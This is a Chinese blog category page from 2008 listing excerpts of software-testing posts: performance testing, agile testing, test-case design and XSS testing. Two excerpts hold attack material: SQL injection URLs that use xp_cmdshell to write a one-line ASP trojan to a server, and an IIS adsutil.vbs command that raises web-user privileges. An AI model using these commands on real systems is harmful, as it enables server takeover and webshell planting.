随笔分类 -  测试软件及文档

测试软件及文档
摘要:性能测试(或称多用户并发性能测试)、负载测试、强度测试、容量测试是性能测试领域里的几个方面,但是概念很容易混淆。下面将几个概念进行介绍。 性能测试(Performance Test):通常收集所有和测试有关的所有性能,通常被不同人在不同场合下进行使用。 关注点:how much和how fast 负载测试(Load Test):负载测试是一种性能测试,指数据在超负荷环境中运行,程序是否能够承担... 阅读全文
posted @ 2008-07-09 10:25 广陵散仙(www.cnblogs.com/junzhongxu/) 阅读(441) 评论(0) 推荐(0)
摘要:1、SQL数据库: 1. User 0 Connections (用户连接数,也就是数据库的连接数量); 2. Number of deadlocks/Sec/-Total (数据库死锁) ... 阅读全文
posted @ 2008-07-09 10:24 广陵散仙(www.cnblogs.com/junzhongxu/) 阅读(226) 评论(0) 推荐(0)
摘要:介绍 准备进行软件开发的公司经常面临的问题是:在他们的项目中使用哪个工具更好。表面上看来这是一个简单而且很有意思的任务,只要去购买那些可以提高他们生产力,而且最新最酷的软件就可以了。 然而,比起上网挑选自己喜爱的软件更具有难度的是,如何知道这些软件能否与项目中使用的其它工具很好的配合。 一个实例 举个例子,一个源代码控制系统(正如最近大家了解的配置管理系统)。这个工具是否与您的测试工具、需求管... 阅读全文
posted @ 2008-07-09 10:22 广陵散仙(www.cnblogs.com/junzhongxu/) 阅读(211) 评论(0) 推荐(0)
摘要:对于企业应用程序,有许多进行性能测试的方法,其中一些方法实行起来要比其他方法困难。所要进行的性能测试的类型取决于想要达到的结果。例如,对于可再现性,基准测试是最好的方法。而要从当前用户负载的角度测试系统的上限,则应该使用容量规划测试。本文将介绍几种设置和运行性能测试的方法,并讨论这些方法的区别。 简介 如果不进行合理的规划,对J2EE应用程序进行性能测试将会是一项令人望而生畏且有些混乱的任务。... 阅读全文
posted @ 2008-07-09 10:18 广陵散仙(www.cnblogs.com/junzhongxu/) 阅读(219) 评论(0) 推荐(0)
摘要:简介 Microsoft Visual Studio 2005 Team Edition for Software Testers 引入了一个全新的用于 Web 和负载测试的强大工具集。Web 应用程序的负载测试可跨多个计算机进行并模拟成千上万个用户,但其核心则是一个 Web 测试集合。本文针对的读者是这样一些测试和开发人员,他们想学习更多有关创建有效的 Web 测试并对它们进行调试,以确保按预期... 阅读全文
posted @ 2008-07-09 10:09 广陵散仙(www.cnblogs.com/junzhongxu/) 阅读(265) 评论(0) 推荐(0)
摘要:以前,防火墙只用于大型企业网络——而且,Internet连接也只用于大型网络。现在情况发生了变化,高速、始终联机的Internet连接 越来越常见,因此对于连接计算机的攻击也越来越多。防火墙能够屏蔽多种类型的恶意流量,从而帮助您防御这些攻击。另外,防火墙还有助于避免您的计算机在您未知的情况下参与攻击其他计算机。一个好消息,客户级的防火墙能够提供出色的安全性,并且不需要您是一个计算机安全性专家。实际... 阅读全文
posted @ 2008-07-09 10:04 广陵散仙(www.cnblogs.com/junzhongxu/) 阅读(280) 评论(0) 推荐(0)
摘要:到目前为止,对于跨站点脚本攻击具有很大的威胁这一点大家并无异议。如果您很精通 XSS 并且只想看看有什么好的测试方法可供借鉴,那么请直接跳到本文的测试部分。如果您对此一无所知,请按顺序认真阅读!如果某个怀有恶意的人(攻击者)可以强迫某个不知情的用户(受害者)运行攻击者选择的客户端脚本,那么便会发生跨站点脚本攻击。“跨站点脚本”这个词应该属于用词不当的情况,因为它不仅与脚本有关,而且它甚至不一定是跨... 阅读全文
posted @ 2008-07-09 10:00 广陵散仙(www.cnblogs.com/junzhongxu/) 阅读(250) 评论(0) 推荐(0)
摘要:引言 简洁,轻量的敏捷开发模型是为了提供给软件开发团队一种迅速应对客户需求变化,能够高效完成项目工作,降低整体风险的开发模式。敏捷的测试也是服务于这个目标的测试团队对测试工作的敏捷定义。 传统测试模式下成长起来的测试团队要如何转向敏捷,从个人和团队的两个层面又要做出那些转变呢?有什么方法和标准衡量敏捷测试团队的绩效?如何帮助团队的每个人规划正确的发展路线?团队在部署... 阅读全文
posted @ 2008-07-08 11:06 广陵散仙(www.cnblogs.com/junzhongxu/) 阅读(379) 评论(0) 推荐(0)
摘要:前言 如果您已经阅读过敏捷测试系列文章的第一篇,敏捷的实质,您应该已经了解敏捷的定义,了解什么样的团队是敏捷的团队了。而您也可能早已开始思考,什么是敏捷测试的实质?敏捷的测试团队又是如何形成自我管理、自我发展的组织呢?测试团队又是如何安排日常工作呢?敏捷测试活动与传统测试活动有很大差异吗?为了进一步让您了解如何将敏捷原则运用到活生生的日常测试活动中,我们为您推荐敏捷测试系列文章的第... 阅读全文
posted @ 2008-07-08 11:05 广陵散仙(www.cnblogs.com/junzhongxu/) 阅读(266) 评论(0) 推荐(0)
摘要:本文讲述了作者在两年的敏捷测试和开发工作中的经验和体会。从敏捷的实质,敏捷测试的方法和过程,到如何帮助传统团队转变为敏捷团队做了详细阐述。本文是系列的第一篇文章,着重讲述敏捷实质。 从游戏开始…… 有个非常有意思的游戏能够帮助大家理解敏捷和传统开发的差异。游戏有两个角色,一个是“老板”,另一个是“员工”,在 2 分钟内,“员工”需要在“老板”的完全指挥下,即“向前一步,向后一步,停,向左一步,... 阅读全文
posted @ 2008-07-08 11:05 广陵散仙(www.cnblogs.com/junzhongxu/) 阅读(306) 评论(0) 推荐(0)
摘要:21、win2000下将WEB用户提升为系统用户权限,需要有管理员的权限才能执行: c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\sy... 阅读全文
posted @ 2008-07-07 16:08 广陵散仙(www.cnblogs.com/junzhongxu/) 阅读(315) 评论(0) 推荐(0)
摘要:1、 用^转义字符来写ASP(一句话木马)文件的方法: ? http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^ >c:\mu.asp';-- ? echo ^ >c:\mu.asp 2、 显示SQL系统版本: ? http://192.168.1.5/display.asp?keyno=... 阅读全文
posted @ 2008-07-07 16:08 广陵散仙(www.cnblogs.com/junzhongxu/) 阅读(191) 评论(0) 推荐(0)
摘要:关键字:软件测试与传统测试类是否实现了要求的功能 5、 面向对象的单元测试 传统的单元测试的对象是软件设计的最小单位——模块。单元测试的依据是详细设描述,单元测试应对模块内所有重要的控制路径设计测试用例,以便发现模块内部的错误。单元测试多采用白盒测试技术,系统内多个模块可以并行地进行测试。 当考虑面向对象软件时,单元的概念发生了变化。封装驱动了类和对象的定义,这意味着每个类和类的... 阅读全文
posted @ 2008-07-07 11:02 广陵散仙(www.cnblogs.com/junzhongxu/) 阅读(792) 评论(0) 推荐(0)
摘要:关键字:软件测试与传统测试对认定的对象的测试 对认定的结构的测试 对认定的主题的测试 对定义的属性和实例关联的测试 对定义的服务和消息关联的测试 3、 面向对象设计的测试 通常的结构化的设计方法,用的"是面向作业的设计方法,它把系统分解以后,提出一组作业,这些作业是以过程实现系统的基础构造,把问题域的分析转化为求解域的设计,分析的结果是设计阶段的输入"。而面... 阅读全文
posted @ 2008-07-07 11:01 广陵散仙(www.cnblogs.com/junzhongxu/) 阅读(699) 评论(0) 推荐(0)
摘要:关键字:软件测试与传统测试 软件危机是软件界甚至整个计算机界最热门的话题。为了解决这场危机,软件从业人员、专家和学者做出了大量的努力。现在人们已经逐步认识到所谓的软件危机实际上仅是一种状况,那就是软件中有错误,正是这些错误导致了软件开发在成本、进度和质量上的失控。 软件的质量不仅是体现在程序的正确性上,它和编码以前所做的需求分析,软件设计也密切相关。这时,对错误的纠正往往不能通过可能会诱发更... 阅读全文
posted @ 2008-07-07 10:59 广陵散仙(www.cnblogs.com/junzhongxu/) 阅读(413) 评论(0) 推荐(0)
摘要:白盒工具--NuMega DevPartner Studio 这是一组白盒测试工具,主要是用于代码开发阶段,检查应用的可靠性和稳定性。它提供了先进的错误检查和调试解决方案,充分地改善生产力和开发团队的软件开发质量。NuMega产品线是一个全面的SmartDebugging工具包,自动地检查企业级或Internet级用多语言创建的组件和应用中出现的软件错误和性能问题,并能很快地给予解决。 ... 阅读全文
posted @ 2008-07-07 10:58 广陵散仙(www.cnblogs.com/junzhongxu/) 阅读(613) 评论(0) 推荐(0)
摘要:一、架构设计阶段的性能测试 案例重点关注如下三个方面: 如何根据项目需要来设计与开发测试程序。 测试工具在性能测试中的作用与地位。 针对数据库本神进行性能测试的地位。 二、项目背景 三、性能测试策略、目标、范围、环境 四、性能测试分析与设计 (1)系统架构组对数据库提测试出了如下要求: 测试数据库对复杂SQL语句的支持,尤其是一些长SQL语句的支持。 测试... 阅读全文
posted @ 2008-07-07 10:52 广陵散仙(www.cnblogs.com/junzhongxu/) 阅读(284) 评论(0) 推荐(0)
摘要:1.相关概念 1.1 定义 等价类划分法是把所有可能的输入数据,即程序的输入域划分成若干部分(子集),然后从每一个子集中选取少数具有代表性的数据作为测试用例。该方法是一种重要的,常用的黑盒测试用例设计方法。 1.2 等价类 等价类是某个输入域的集合,在这个集合中每个输入条件都是等效的。如果其中一个的输入不能导致问题发生,那么集合中其它输入条件进行测试也不可能发现错误。 等价类分为有... 阅读全文
posted @ 2008-07-07 10:48 广陵散仙(www.cnblogs.com/junzhongxu/) 阅读(739) 评论(0) 推荐(0)
摘要:1.相关概念 1.1 定义 边界值分析法就是对输入或输出的边界值进行测试的一种黑盒测试方法。通常边界值分析法是作为对等价类划分法的补充,这种情况下,其测试用例来自等价类的边界。 边界值分析(Boundary Value Analysis,BVA)是一种补充等价划分的测试用例设计技术,它不是选择等价类的任意元素,而是选择等价类边界的测试用例。实践证明,在设计测试用例时,对边界附近的处理必须给予足够的... 阅读全文
posted @ 2008-07-07 10:43 广陵散仙(www.cnblogs.com/junzhongxu/) 阅读(821) 评论(0) 推荐(0)
摘要:随着软件测试行业的逐渐发展,性能测试也变得火热起来。从各大测试论坛和测试交流群的交流主题的热门程度来看,性能测试已经成为大家非常感兴趣的话题。性能测试作为软件测试行业技术性相对较高的工作(自动化测试、白盒测试、性能测试)来说,个人觉得其操作门槛还是不低的。对于测试新手来说入门有一定的难度,做的好就更加不容易了,可能花了不少时间而实际收获不大。因此觉得有必要来专门探讨一下性能测试的门槛,以及如何更好... 阅读全文
posted @ 2008-07-07 10:36 广陵散仙(www.cnblogs.com/junzhongxu/) 阅读(243) 评论(0) 推荐(0)